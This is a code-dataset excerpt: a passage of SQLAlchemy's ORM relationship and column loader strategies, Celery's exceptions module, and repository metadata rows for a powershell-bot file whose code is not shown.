expire_missing=False ) def setup_query(self, context, entity, path, loadopt, adapter, only_load_props=None, **kwargs): if ( loadopt and self.group and loadopt.local_opts.get('undefer_group', False) == self.group ) or (only_load_props and self.key in only_load_props): self.parent_property._get_strategy_by_cls(ColumnLoader).\ setup_query(context, entity, path, loadopt, adapter, **kwargs) def _load_for_state(self, state, passive): if not state.key: return attributes.ATTR_EMPTY if not passive & attributes.SQL_OK: return attributes.PASSIVE_NO_RESULT localparent = state.manager.mapper if self.group: toload = [ p.key for p in localparent.iterate_properties if isinstance(p, StrategizedProperty) and isinstance(p.strategy, DeferredColumnLoader) and p.group == self.group ] else: toload = [self.key] # narrow the keys down to just those which have no history group = [k for k in toload if k in state.unmodified] session = _state_session(state) if session is None: raise orm_exc.DetachedInstanceError( "Parent instance %s is not bound to a Session; " "deferred load operation of attribute '%s' cannot proceed" % (orm_util.state_str(state), self.key) ) query = session.query(localparent) if loading.load_on_ident(query, state.key, only_load_props=group, refresh_state=state) is None: raise orm_exc.ObjectDeletedError(state) return attributes.ATTR_WAS_SET class LoadDeferredColumns(object): """serializable loader object used by DeferredColumnLoader""" def __init__(self, key): self.key = key def __call__(self, state, passive=attributes.PASSIVE_OFF): key = self.key localparent = state.manager.mapper prop = localparent._props[key] strategy = prop._strategies[DeferredColumnLoader] return strategy._load_for_state(state, passive) class AbstractRelationshipLoader(LoaderStrategy): """LoaderStratgies which deal with related objects.""" def __init__(self, parent): super(AbstractRelationshipLoader, self).__init__(parent) self.mapper = self.parent_property.mapper self.target = self.parent_property.target self.uselist = self.parent_property.uselist @log.class_logger @properties.RelationshipProperty.strategy_for(lazy="noload") @properties.RelationshipProperty.strategy_for(lazy=None) class NoLoader(AbstractRelationshipLoader): """Provide loading behavior for a :class:`.RelationshipProperty` with "lazy=None". """ def init_class_attribute(self, mapper): self.is_class_level = True _register_attribute(self, mapper, useobject=True, uselist=self.parent_property.uselist, typecallable=self.parent_property.collection_class, ) def create_row_processor(self, context, path, loadopt, mapper, row, adapter): def invoke_no_load(state, dict_, row): state._initialize(self.key) return invoke_no_load, None, None @log.class_logger @properties.RelationshipProperty.strategy_for(lazy=True) @properties.RelationshipProperty.strategy_for(lazy="select") class LazyLoader(AbstractRelationshipLoader): """Provide loading behavior for a :class:`.RelationshipProperty` with "lazy=True", that is loads when first accessed. """ def __init__(self, parent): super(LazyLoader, self).__init__(parent) join_condition = self.parent_property._join_condition self._lazywhere, \ self._bind_to_col, \ self._equated_columns = join_condition.create_lazy_clause() self._rev_lazywhere, \ self._rev_bind_to_col, \ self._rev_equated_columns = join_condition.create_lazy_clause( reverse_direction=True) self.logger.info("%s lazy loading clause %s", self, self._lazywhere) # determine if our "lazywhere" clause is the same as the mapper's # get() clause. then we can just use mapper.get() self.use_get = not self.uselist and \ self.mapper._get_clause[0].compare( self._lazywhere, use_proxies=True, equivalents=self.mapper._equivalent_columns ) if self.use_get: for col in list(self._equated_columns): if col in self.mapper._equivalent_columns: for c in self.mapper._equivalent_columns[col]: self._equated_columns[c] = self._equated_columns[col] self.logger.info("%s will use query.get() to " "optimize instance loads" % self) def init_class_attribute(self, mapper): self.is_class_level = True active_history = ( self.parent_property.active_history or self.parent_property.direction is not interfaces.MANYTOONE or not self.use_get ) # MANYTOONE currently only needs the # "old" value for delete-orphan # cascades. the required _SingleParentValidator # will enable active_history # in that case. otherwise we don't need the # "old" value during backref operations. _register_attribute(self, mapper, useobject=True, callable_=self._load_for_state, uselist=self.parent_property.uselist, backref=self.parent_property.back_populates, typecallable=self.parent_property.collection_class, active_history=active_history ) def lazy_clause(self, state, reverse_direction=False, alias_secondary=False, adapt_source=None, passive=None): if state is None: return self._lazy_none_clause( reverse_direction, adapt_source=adapt_source) if not reverse_direction: criterion, bind_to_col, rev = \ self._lazywhere, \ self._bind_to_col, \ self._equated_columns else: criterion, bind_to_col, rev = \ self._rev_lazywhere, \ self._rev_bind_to_col, \ self._rev_equated_columns if reverse_direction: mapper = self.parent_property.mapper else: mapper = self.parent_property.parent o = state.obj() # strong ref dict_ = attributes.instance_dict(o) # use the "committed state" only if we're in a flush # for this state. if passive and passive & attributes.LOAD_AGAINST_COMMITTED: def visit_bindparam(bindparam): if bindparam._identifying_key in bind_to_col: bindparam.callable = \ lambda: mapper._get_committed_state_attr_by_column( state, dict_, bind_to_col[bindparam._identifying_key]) else: def visit_bindparam(bindparam): if bindparam._identifying_key in bind_to_col: bindparam.callable = \ lambda: mapper._get_state_attr_by_column( state, dict_, bind_to_col[bindparam._identifying_key]) if self.parent_property.secondary is not None and alias_secondary: criterion = sql_util.ClauseAdapter( self.parent_property.secondary.alias()).\ traverse(criterion) criterion = visitors.cloned_traverse( criterion, {}, {'bindparam': visit_bindparam}) if adapt_source: criterion = adapt_source(criterion) return criterion def _lazy_none_clause(self, reverse_direction=False, adapt_source=None): if not reverse_direction: criterion, bind_to_col, rev = \ self._lazywhere, \ self._bind_to_col,\ self._equated_columns else: criterion, bind_to_col, rev = \ self._rev_lazywhere, \ self._rev_bind_to_col, \ self._rev_equated_columns criterion = sql_util.adapt_criterion_to_null(criterion, bind_to_col) if adapt_source: criterion = adapt_source(criterion) return criterion def _load_for_state(self, state, passive): if not state.key and \ ( ( not self.parent_property.load_on_pending and not state._load_pending ) or not state.session_id ): return attributes.ATTR_EMPTY pending = not state.key ident_key = None if ( (not passive & attributes.SQL_OK and not self.use_get) or (not passive & attributes.NON_PERSISTENT_OK and pending) ): return attributes.PASSIVE_NO_RESULT session = _state_session(state) if not session: raise orm_exc.DetachedInstanceError( "Parent instance %s is not bound to a Session; " "lazy load operation of attribute '%s' cannot proceed" % (orm_util.state_str(state), self.key) ) # if we have a simple primary key load, check the # identity map without generating a Query at all if self.use_get: ident = self._get_ident_for_use_get( session, state, passive ) if attributes.PASSIVE_NO_RESULT in ident: return attributes.PASSIVE_NO_RESULT elif attributes.NEVER_SET in ident: return attributes.NEVER_SET if _none_set.issuperset(ident): return None ident_key = self.mapper.identity_key_from_primary_key(ident) instance = loading.get_from_identity(session, ident_key, passive) if instance is not None: return instance elif not passive & attributes.SQL_OK or \ not passive & attributes.RELATED_OBJECT_OK: return attributes.PASSIVE_NO_RESULT return self._emit_lazyload(session, state, ident_key, passive) def _get_ident_for_use_get(self, session, state, passive): instance_mapper = state.manager.mapper if passive & attributes.LOAD_AGAINST_COMMITTED: get_attr = instance_mapper._get_committed_state_attr_by_column else: get_attr = instance_mapper._get_state_attr_by_column dict_ = state.dict return [ get_attr( state, dict_, self._equated_columns[pk], passive=passive) for pk in self.mapper.primary_key ] @util.dependencies("sqlalchemy.orm.strategy_options") def _emit_lazyload(self, strategy_options, session, state, ident_key, passive): q = session.query(self.mapper)._adapt_all_clauses() if self.parent_property.secondary is not None: q = q.select_from(self.mapper, self.parent_property.secondary) q = q._with_invoke_all_eagers(False) pending = not state.key # don't autoflush on pending if pending or passive & attributes.NO_AUTOFLUSH: q = q.autoflush(False) if state.load_path: q = q._with_current_path(state.load_path[self.parent_property]) if state.load_options: q = q._conditional_options(*state.load_options) if self.use_get: return loading.load_on_ident(q, ident_key) if self.parent_property.order_by: q = q.order_by(*util.to_list(self.parent_property.order_by)) for rev in self.parent_property._reverse_property: # reverse props that are MANYTOONE are loading *this* # object from get(), so don't need to eager out to those. if rev.direction is interfaces.MANYTOONE and \ rev._use_get and \ not isinstance(rev.strategy, LazyLoader): q = q.options(strategy_options.Load(rev.parent).lazyload(rev.key)) lazy_clause = self.lazy_clause(state, passive=passive) if pending: bind_values = sql_util.bind_values(lazy_clause) if None in bind_values: return None q = q.filter(lazy_clause) result = q.all() if self.uselist: return result else: l = len(result) if l: if l > 1: util.warn( "Multiple rows returned with " "uselist=False for lazily-loaded attribute '%s' " % self.parent_property) return result[0] else: return None def create_row_processor(self, context, path, loadopt, mapper, row, adapter): key = self.key if not self.is_class_level: # we are not the primary manager for this attribute # on this class - set up a # per-instance lazyloader, which will override the # class-level behavior. # this currently only happens when using a # "lazyload" option on a "no load" # attribute - "eager" attributes always have a # class-level lazyloader installed. set_lazy_callable = InstanceState._row_processor( mapper.class_manager, LoadLazyAttribute(key), key) return set_lazy_callable, None, None else: def reset_for_lazy_callable(state, dict_, row): # we are the primary manager for this attribute on # this class - reset its # per-instance attribute state, so that the class-level # lazy loader is # executed when next referenced on this instance. # this is needed in # populate_existing() types of scenarios to reset # any existing state. state._reset(dict_, key) return reset_for_lazy_callable, None, None class LoadLazyAttribute(object): """serializable loader object used by LazyLoader""" def __init__(self, key): self.key = key def __call__(self, state, passive=attributes.PASSIVE_OFF): key = self.key instance_mapper = state.manager.mapper prop = instance_mapper._props[key] strategy = prop._strategies[LazyLoader] return strategy._load_for_state(state, passive) @properties.RelationshipProperty.strategy_for(lazy="immediate") class ImmediateLoader(AbstractRelationshipLoader): def init_class_attribute(self, mapper): self.parent_property.\ _get_strategy_by_cls(LazyLoader).\ init_class_attribute(mapper) def setup_query(self, context, entity, path, loadopt, adapter, column_collection=None, parentmapper=None, **kwargs): pass def create_row_processor(self, context, path, loadopt, mapper, row, adapter): def load_immediate(state, dict_, row): state.get_impl(self.key).get(state, dict_) return None, None, load_immediate @log.class_logger @properties.RelationshipProperty.strategy_for(lazy="subquery") class SubqueryLoader(AbstractRelationshipLoader): def __init__(self, parent): super(SubqueryLoader, self).__init__(parent) self.join_depth = self.parent_property.join_depth def init_class_attribute(self, mapper): self.parent_property.\ _get_strategy_by_cls(LazyLoader).\ init_class_attribute(mapper) def setup_query(self, context, entity, path, loadopt, adapter, column_collection=None, parentmapper=None, **kwargs): if not context.query._enable_eagerloads: return path = path[self.parent_property] # build up a path indicating the path from the leftmost # entity to the thing we're subquery loading. with_poly_info = path.get(context.attributes, "path_with_polymorphic", None) if with_poly_info is not None: effective_entity = with_poly_info.entity else: effective_entity = self.mapper subq_path = context.attributes.get(('subquery_path', None), orm_util.PathRegistry.root) subq_path = subq_path + path # if not via query option, check for # a cycle if not path.contains(context.attributes, "loader"): if self.join_depth: if path.length / 2 > self.join_depth: return elif subq_path.contains_mapper(self.mapper): return subq_mapper, leftmost_mapper, leftmost_attr, leftmost_relationship = \ self._get_leftmost(subq_path) orig_query = context.attributes.get( ("orig_query", SubqueryLoader), context.query) # generate a new Query from the original, then # produce a subquery from it. left_alias = self._generate_from_original_query( orig_query, leftmost_mapper, leftmost_attr, leftmost_relationship, entity.mapper ) # generate another Query that will join the # left alias to the target relationships. # basically doing a longhand # "from_self()". (from_self() itself not quite industrial # strength enough for all contingencies...but very close) q = orig_query.session.query(effective_entity) q._attributes = { ("orig_query", SubqueryLoader): orig_query, ('subquery_path', None): subq_path } q = q._enable_single_crit(False) to_join, local_attr, parent_alias = \ self._prep_for_joins(left_alias, subq_path) q = q.order_by(*local_attr) q = q.add_columns(*local_attr) q = self._apply_joins(q, to_join, left_alias, parent_alias, effective_entity) q = self._setup_options(q, subq_path, orig_query, effective_entity) q = self._setup_outermost_orderby(q) # add new query to attributes to be picked up # by create_row_processor path.set(context.attributes, "subquery", q) def _get_leftmost(self, subq_path): subq_path = subq_path.path subq_mapper = orm_util._class_to_mapper(subq_path[0]) # determine attributes of the leftmost mapper if self.parent.isa(subq_mapper) and self.parent_property is subq_path[1]: leftmost_mapper, leftmost_prop = \ self.parent, self.parent_property else: leftmost_mapper, leftmost_prop = \ subq_mapper, \ subq_path[1] leftmost_cols = leftmost_prop.local_columns leftmost_attr = [ leftmost_mapper._columntoproperty[c].class_attribute for c in leftmost_cols ] return subq_mapper, leftmost_mapper, leftmost_attr, leftmost_prop def _generate_from_original_query(self, orig_query, leftmost_mapper, leftmost_attr, leftmost_relationship, entity_mapper ): # reformat the original query # to look only for significant columns q = orig_query._clone().correlate(None) # set a real "from" if not present, as this is more # accurate than just going off of the column expression if not q._from_obj and entity_mapper.isa(leftmost_mapper): q._set_select_from([entity_mapper], False) target_cols = q._adapt_col_list(leftmost_attr) # select from the identity columns of the outer q._set_entities(target_cols) distinct_target_key = leftmost_relationship.distinct_target_key if distinct_target_key is True: q._distinct = True elif distinct_target_key is None: # if target_cols refer to a non-primary key or only # part of a composite primary key, set the q as distinct for t in set(c.table for c in target_cols): if not set(target_cols).issuperset(t.primary_key): q._distinct = True break if q._order_by is False: q._order_by = leftmost_mapper.order_by # don't need ORDER BY if no limit/offset if q._limit is None and q._offset is None: q._order_by = None # the original query now becomes a subquery # which we'll join onto. embed_q = q.with_labels().subquery() left_alias = orm_util.AliasedClass(leftmost_mapper, embed_q, use_mapper_path=True) return left_alias def _prep_for_joins(self, left_alias, subq_path): # figure out what's being joined. a.k.a. the fun part to_join = [] pairs = list(subq_path.pairs()) for i, (mapper, prop) in enumerate(pairs): if i > 0: # look at the previous mapper in the chain - # if it is as or more specific than this prop's # mapper, use that instead. # note we have an assumption here that # the non-first element is always going to be a mapper, # not an AliasedClass prev_mapper = pairs[i - 1][1].mapper to_append = prev_mapper if prev_mapper.isa(mapper) else mapper else: to_append = mapper to_join.append((to_append, prop.key)) # determine the immediate parent class we are joining from, # which needs to be aliased. if len(to_join) > 1: info = inspect(to_join[-1][0]) if len(to_join) < 2: # in the case of a one level eager load, this is the # leftmost "left_alias". parent_alias = left_alias elif info.mapper.isa(self.parent): # In the case of multiple levels, retrieve # it from subq_path[-2]. This is the same as self.parent # in the vast majority of cases, and [ticket:2014] # illustrates a case where sub_path[-2] is a subclass # of self.parent parent_alias = orm_util.AliasedClass(to_join[-1][0], use_mapper_path=True) else: # if of_type() were used leading to this relationship, # self.parent is more specific than subq_path[-2] parent_alias = orm_util.AliasedClass(self.parent, use_mapper_path=True) local_cols = self.parent_property.local_columns local_attr = [ getattr(parent_alias, self.parent._columntoproperty[c].key) for c in local_cols ] return to_join, local_attr, parent_alias def _apply_joins(self, q, to_join, left_alias, parent_alias, effective_entity): for i, (mapper, key) in enumerate(to_join): # we need to use query.join() as opposed to # orm.join() here because of the # rich behavior it brings when dealing with # "with_polymorphic" mappers. "aliased" # and "from_joinpoint" take care of most of # the chaining and aliasing for us. first = i == 0 middle = i < len(to_join) - 1 second_to_last = i == len(to_join) - 2 last = i == len(to_join) - 1 if first: attr = getattr(left_alias, key) if last and effective_entity is not self.mapper: attr = attr.of_type(effective_entity) else: if last and effective_entity is not self.mapper: attr = getattr(parent_alias, key).\ of_type(effective_entity) else: attr = key if second_to_last: q = q.join(parent_alias, attr, from_joinpoint=True) else: q = q.join(attr, aliased=middle, from_joinpoint=True) return q def _setup_options(self, q, subq_path, orig_query, effective_entity): # propagate loader options etc. to the new query. # these will fire relative to subq_path. q = q._with_current_path(subq_path) q = q._conditional_options(*orig_query._with_options) if orig_query._populate_existing: q._populate_existing = orig_query._populate_existing return q def _setup_outermost_orderby(self, q): if self.parent_property.order_by: # if there's an ORDER BY, alias it the same # way joinedloader does, but we have to pull out # the "eagerjoin" from the query. # this really only picks up the "secondary" table # right now. eagerjoin = q._from_obj[0] eager_order_by = \ eagerjoin._target_adapter.\ copy_and_process( util.to_list( self.parent_property.order_by ) ) q = q.order_by(*eager_order_by) return q class _SubqCollections(object): """Given a :class:`.Query` used to emit the "subquery load", provide a load interface that executes the query at the first moment a value is needed. """ _data = None def __init__(self, subq): self.subq = subq def get(self, key, default): if self._data is None: self._load() return self._data.get(key, default) def _load(self): self._data = dict( (k, [vv[0] for vv in v]) for k, v in itertools.groupby( self.subq, lambda x: x[1:] ) ) def loader(self, state, dict_, row): if self._data is None: self._load() def create_row_processor(self, context, path, loadopt, mapper, row, adapter): if not self.parent.class_manager[self.key].impl.supports_population: raise sa_exc.InvalidRequestError( "'%s' does not support object " "population - eager loading cannot be applied." % self) path = path[self.parent_property] subq = path.get(context.attributes, 'subquery') if subq is None: return None, None, None local_cols = self.parent_property.local_columns # cache the loaded collections in the context # so that inheriting mappers don't re-load when they # call upon create_row_processor again collections = path.get(context.attributes, "collections") if collections is None: collections = self._SubqCollections(subq) path.set(context.attributes, 'collections', collections) if adapter: local_cols = [adapter.columns[c] for c in local_cols] if self.uselist: return self._create_collection_loader(collections, local_cols) else: return self._create_scalar_loader(collections, local_cols) def _create_collection_loader(self, collections, local_cols): def load_collection_from_subq(state, dict_, row): collection = collections.get( tuple([row[col] for col in local_cols]), () ) state.get_impl(self.key).\ set_committed_value(state, dict_, collection) return load_collection_from_subq, None, None, collections.loader def _create_scalar_loader(self, collections, local_cols): def load_scalar_from_subq(state, dict_, row): collection = collections.get( tuple([row[col] for col in local_cols]), (None,) ) if len(collection) > 1: util.warn( "Multiple rows returned with " "uselist=False for eagerly-loaded attribute '%s' " % self) scalar = collection[0] state.get_impl(self.key).\ set_committed_value(state, dict_, scalar) return load_scalar_from_subq, None, None, collections.loader @log.class_logger @properties.RelationshipProperty.strategy_for(lazy="joined") @properties.RelationshipProperty.strategy_for(lazy=False) class JoinedLoader(AbstractRelationshipLoader): """Provide loading behavior for a :class:`.RelationshipProperty` using joined eager loading. """ def __init__(self, parent): super(JoinedLoader, self).__init__(parent) self.join_depth = self.parent_property.join_depth def init_class_attribute(self, mapper): self.parent_property.\ _get_strategy_by_cls(LazyLoader).init_class_attribute(mapper) def setup_query(self, context, entity, path, loadopt, adapter, \ column_collection=None, parentmapper=None, **kwargs): """Add a left outer join to the statement thats being constructed.""" if not context.query._enable_eagerloads: return path = path[self.parent_property] with_polymorphic = None user_defined_adapter = self._init_user_defined_eager_proc( loadopt, context) if loadopt else False if user_defined_adapter is not False: clauses, adapter, add_to_collection = \ self._setup_query_on_user_defined_adapter( context, entity, path, adapter, user_defined_adapter ) else: # if not via query option, check for # a cycle if not path.contains(context.attributes, "loader"): if self.join_depth: if path.length / 2 > self.join_depth: return elif path.contains_mapper(self.mapper): return clauses, adapter, add_to_collection = self._generate_row_adapter( context, entity, path, loadopt, adapter, column_collection, parentmapper ) with_poly_info = path.get( context.attributes, "path_with_polymorphic", None ) if with_poly_info is not None: with_polymorphic = with_poly_info.with_polymorphic_mappers else: with_polymorphic = None path = path[self.mapper] for value in self.mapper._iterate_polymorphic_properties( mappers=with_polymorphic): value.setup( context, entity, path, clauses, parentmapper=self.mapper, column_collection=add_to_collection) if with_poly_info is not None and \ None in set(context.secondary_columns): raise sa_exc.InvalidRequestError( "Detected unaliased columns when generating joined " "load. Make sure to use aliased=True or flat=True " "when using joined loading with with_polymorphic()." ) def _init_user_defined_eager_proc(self, loadopt, context): # check if the opt applies at all if "eager_from_alias" not in loadopt.local_opts: # nope return False path = loadopt.path.parent # the option applies. check if the "user_defined_eager_row_processor" # has been built up. adapter = path.get(context.attributes, "user_defined_eager_row_processor", False) if adapter is not False: # just return it return adapter # otherwise figure it out. alias = loadopt.local_opts["eager_from_alias"] root_mapper, prop = path[-2:] #from .mapper import Mapper #from .interfaces import MapperProperty #assert isinstance(root_mapper, Mapper) #assert isinstance(prop, MapperProperty) if alias is not None: if isinstance(alias, str): alias = prop.target.alias(alias) adapter = sql_util.ColumnAdapter(alias, equivalents=prop.mapper._equivalent_columns) else: if path.contains(context.attributes, "path_with_polymorphic"): with_poly_info = path.get(context.attributes, "path_with_polymorphic") adapter = orm_util.ORMAdapter( with_poly_info.entity, equivalents=prop.mapper._equivalent_columns) else: adapter = context.query._polymorphic_adapters.get(prop.mapper, None) path.set(context.attributes, "user_defined_eager_row_processor", adapter) return adapter def _setup_query_on_user_defined_adapter(self, context, entity, path, adapter, user_defined_adapter): # apply some more wrapping to the "user defined adapter" # if we are setting up the query for SQL render. adapter = entity._get_entity_clauses(context.query, context) if adapter and user_defined_adapter: user_defined_adapter = user_defined_adapter.wrap(adapter) path.set(context.attributes, "user_defined_eager_row_processor", user_defined_adapter) elif adapter: user_defined_adapter = adapter path.set(context.attributes, "user_defined_eager_row_processor", user_defined_adapter) add_to_collection = context.primary_columns return user_defined_adapter, adapter, add_to_collection def _generate_row_adapter(self, context, entity, path, loadopt, adapter, column_collection, parentmapper ): with_poly_info = path.get( context.attributes, "path_with_polymorphic", None ) if with_poly_info: to_adapt = with_poly_info.entity else: to_adapt = orm_util.AliasedClass(self.mapper, flat=True, use_mapper_path=True) clauses = orm_util.ORMAdapter( to_adapt, equivalents=self.mapper._equivalent_columns, adapt_required=True) assert clauses.aliased_class is not None if self.parent_property.direction != interfaces.MANYTOONE: context.multi_row_eager_loaders = True innerjoin = ( loadopt.local_opts.get( 'innerjoin', self.parent_property.innerjoin) if loadopt is not None else self.parent_property.innerjoin ) context.create_eager_joins.append( (self._create_eager_join, context, entity, path, adapter, parentmapper, clauses, innerjoin) ) add_to_collection = context.secondary_columns path.set(context.attributes, "eager_row_processor", clauses) return clauses, adapter, add_to_collection def _create_eager_join(self, context, entity, path, adapter, parentmapper, clauses, innerjoin): if parentmapper is None: localparent = entity.mapper else: localparent = parentmapper # whether or not the Query will wrap the selectable in a subquery, # and then attach eager load joins to that (i.e., in the case of # LIMIT/OFFSET etc.) should_nest_selectable = context.multi_row_eager_loaders and \ context.query._should_nest_selectable entity_key = None if entity not in context.eager_joins and \ not should_nest_selectable and \ context.from_clause: index, clause = \ sql_util.find_join_source( context.from_clause, entity.selectable) if clause is not None: # join to an existing FROM clause on the query. # key it to its list index in the eager_joins dict. # Query._compile_context will adapt as needed and # append to the FROM clause of the select(). entity_key, default_towrap = index, clause if entity_key is None: entity_key, default_towrap = entity, entity.selectable towrap = context.eager_joins.setdefault(entity_key, default_towrap) if adapter: if getattr(adapter, 'aliased_class', None): onclause = getattr( adapter.aliased_class, self.key, self.parent_property) else: onclause = getattr( orm_util.AliasedClass( self.parent, adapter.selectable, use_mapper_path=True ), self.key, self.parent_property ) else: onclause = self.parent_property assert clauses.aliased_class is not None join_to_outer = innerjoin and isinstance(towrap, sql.Join) and towrap.isouter if join_to_outer and innerjoin == 'nested': inner = orm_util.join( towrap.right, clauses.aliased_class, onclause, isouter=False ) eagerjoin = orm_util.join( towrap.left, inner, towrap.onclause, isouter=True ) eagerjoin._target_adapter = inner._target_adapter else: if join_to_outer: innerjoin = False eagerjoin = orm_util.join( towrap, clauses.aliased_class, onclause, isouter=not innerjoin ) context.eager_joins[entity_key] = eagerjoin # send a hint to the Query as to where it may "splice" this join eagerjoin.stop_on = entity.selectable if self.parent_property.secondary is None and \ not parentmapper: # for parentclause that is the non-eager end of the join, # ensure all the parent cols in the primaryjoin are actually # in the # columns clause (i.e. are not deferred), so that aliasing applied # by the Query propagates those columns outward. # This has the effect # of "undefering" those columns. for col in sql_util._find_columns( self.parent_property.primaryjoin): if localparent.mapped_table.c.contains_column(col): if adapter: col = adapter.columns[col] context.primary_columns.append(col) if self.parent_property.order_by: context.eager_order_by += \ eagerjoin._target_adapter.\ copy_and_process( util.to_list( self.parent_property.order_by ) ) def _create_eager_adapter(self, context, row, adapter, path, loadopt): user_defined_adapter = self._init_user_defined_eager_proc( loadopt, context) if loadopt else False if user_defined_adapter is not False: decorator = user_defined_adapter # user defined eagerloads are part of the "primary" # portion of the load. # the adapters applied to the Query should be honored. if context.adapter and decorator: decorator = decorator.wrap(context.adapter) elif context.adapter: decorator = context.adapter else: decorator = path.get(context.attributes, "eager_row_processor") if decorator is None: return False try: self.mapper.identity_key_from_row(row, decorator) return decorator except KeyError: # no identity key - dont return a row # processor, will cause a degrade to lazy return False def create_row_processor(self, context, path, loadopt, mapper, row, adapter): if not self.parent.class_manager[self.key].impl.supports_population: raise sa_exc.InvalidRequestError( "'%s' does not support object " "population - eager loading cannot be applied." % self) our_path = path[self.parent_property] eager_adapter = self._create_eager_adapter( context, row, adapter, our_path, loadopt) if eager_adapter is not False: key = self.key _instance = loading.instance_processor( self.mapper, context, our_path[self.mapper], eager_adapter) if not self.uselist: return self._create_scalar_loader(context, key, _instance) else: return self._create_collection_loader(context, key, _instance) else: return self.parent_property.\ _get_strategy_by_cls(LazyLoader).\ create_row_processor( context, path, loadopt, mapper, row, adapter) def _create_collection_loader(self, context, key, _instance): def load_collection_from_joined_new_row(state, dict_, row): collection = attributes.init_state_collection( state, dict_, key) result_list = util.UniqueAppender(collection, 'append_without_event') context.attributes[(state, key)] = result_list _instance(row, result_list) def load_collection_from_joined_existing_row(state, dict_, row): if (state, key) in context.attributes: result_list = context.attributes[(state, key)] else: # appender_key can be absent from context.attributes # with isnew=False when self-referential eager loading # is used; the same instance may be present in two # distinct sets of result columns collection = attributes.init_state_collection(state, dict_, key) result_list = util.UniqueAppender( collection, 'append_without_event') context.attributes[(state, key)] = result_list _instance(row, result_list) def load_collection_from_joined_exec(state, dict_, row): _instance(row, None) return load_collection_from_joined_new_row, \ load_collection_from_joined_existing_row, \ None, load_collection_from_joined_exec def _create_scalar_loader(self, context, key, _instance): def load_scalar_from_joined_new_row(state, dict_, row): # set a scalar object instance directly on the parent # object, bypassing InstrumentedAttribute event handlers. dict_[key] = _instance(row, None) def load_scalar_from_joined_existing_row(state, dict_, row): # call _instance on the row, even though the object has # been created, so that we further descend into properties existing = _instance(row, None) if existing is not None \ and key in dict_ \ and existing is not dict_[key]: util.warn( "Multiple rows returned with " "uselist=False for eagerly-loaded attribute '%s' " % self) def load_scalar_from_joined_exec(state, dict_, row): _instance(row, None) return load_scalar_from_joined_new_row, \ load_scalar_from_joined_existing_row, \ None, load_scalar_from_joined_exec def single_parent_validator(desc, prop): def _do_check(state, value, oldvalue, initiator): if value is not None and initiator.key == prop.key: hasparent = initiator.hasparent(attributes.instance_state(value)) if hasparent and oldvalue is not value: raise sa_exc.InvalidRequestError( "Instance %s is already associated with an instance " "of %s via its %s attribute, and is only allowed a " "single parent." % (orm_util.instance_str(value), state.class_, prop) ) return value def append(state, value, initiator): return _do_check(state, value, None, initiator) def set_(state, value, oldvalue, initiator): return _do_check(state, value, oldvalue, initiator) event.listen(desc, 'append', append, raw=True, retval=True, active_history=True) event.listen(desc, 'set', set_, raw=True, retval=True, active_history=True)

38.276712

85

0.568249

4a07e7f2daa5a4b8726f1363698797ba9c2bb0f7

2,837

py

Python

vendor-local/lib/python/celery/exceptions.py

Mozilla-GitHub-Standards/6f0d85288b5b0ef8beecb60345173dc14c98e40f48e1307a444ab1e08231e695

bf6a382913901ad193d907f022086931df0de8c4

[ "BSD-3-Clause" ]

1

2015-07-13T03:29:04.000Z

vendor-local/lib/python/celery/exceptions.py

Mozilla-GitHub-Standards/6f0d85288b5b0ef8beecb60345173dc14c98e40f48e1307a444ab1e08231e695

bf6a382913901ad193d907f022086931df0de8c4

[ "BSD-3-Clause" ]

2

2015-03-03T23:02:19.000Z

2019-03-30T04:45:51.000Z

vendor-local/lib/python/celery/exceptions.py

Mozilla-GitHub-Standards/6f0d85288b5b0ef8beecb60345173dc14c98e40f48e1307a444ab1e08231e695

bf6a382913901ad193d907f022086931df0de8c4

[ "BSD-3-Clause" ]

2

2016-04-15T11:43:05.000Z

2016-04-15T11:43:15.000Z

# -*- coding: utf-8 -*- """ celery.exceptions ~~~~~~~~~~~~~~~~~ This module contains all exceptions used by the Celery API. """ from __future__ import absolute_import from billiard.exceptions import ( # noqa SoftTimeLimitExceeded, TimeLimitExceeded, WorkerLostError, Terminated, ) UNREGISTERED_FMT = """\ Task of kind %s is not registered, please make sure it's imported.\ """ class SecurityError(Exception): """Security related exceptions. Handle with care. """ class Ignore(Exception): """A task can raise this to ignore doing state updates.""" class SystemTerminate(SystemExit): """Signals that the worker should terminate.""" class QueueNotFound(KeyError): """Task routed to a queue not in CELERY_QUEUES.""" class ImproperlyConfigured(ImportError): """Celery is somehow improperly configured.""" class NotRegistered(KeyError): """The task is not registered.""" def __repr__(self): return UNREGISTERED_FMT % str(self) class AlreadyRegistered(Exception): """The task is already registered.""" class TimeoutError(Exception): """The operation timed out.""" class MaxRetriesExceededError(Exception): """The tasks max restart limit has been exceeded.""" class RetryTaskError(Exception): """The task is to be retried later.""" def __init__(self, message=None, exc=None, when=None, **kwargs): from kombu.utils.encoding import safe_repr self.message = message if isinstance(exc, basestring): self.exc, self.excs = None, exc else: self.exc, self.excs = exc, safe_repr(exc) if exc else None self.when = when Exception.__init__(self, exc, when, **kwargs) def humanize(self): if isinstance(self.when, int): return 'in %ss' % self.when return 'at %s' % (self.when, ) def __str__(self): if self.message: return self.message if self.excs: return 'Retry %s: %r' % (self.humanize(), self.excs) return 'Retry %s' % self.humanize() def __reduce__(self): return self.__class__, (self.message, self.excs, self.when) class TaskRevokedError(Exception): """The task has been revoked, so no result available.""" class NotConfigured(UserWarning): """Celery has not been configured, as no config module has been found.""" class AlwaysEagerIgnored(UserWarning): """send_task ignores CELERY_ALWAYS_EAGER option""" class InvalidTaskError(Exception): """The task has invalid data or is not properly constructed.""" class CPendingDeprecationWarning(PendingDeprecationWarning): pass class CDeprecationWarning(DeprecationWarning): pass class IncompleteStream(Exception): """Found the end of a stream of data, but the data is not yet complete."""

24.042373

78

0.670779

4a07e855f1f11c1aca7ba2a099f714fc1fb80962

6,505

py

Python

strategy.py

Pyprohly/powershell-bot

8da0831f09af95b2524a1988c44b6d6cb6d0ae0b

[ "MIT" ]

4

2019-02-03T21:01:30.000Z

2019-04-15T19:09:27.000Z

strategy.py

Pyprohly/powershell-bot

8da0831f09af95b2524a1988c44b6d6cb6d0ae0b

[ "MIT" ]

null

strategy.py

Pyprohly/powershell-bot

8da0831f09af95b2524a1988c44b6d6cb6d0ae0b

[ "MIT" ]

null

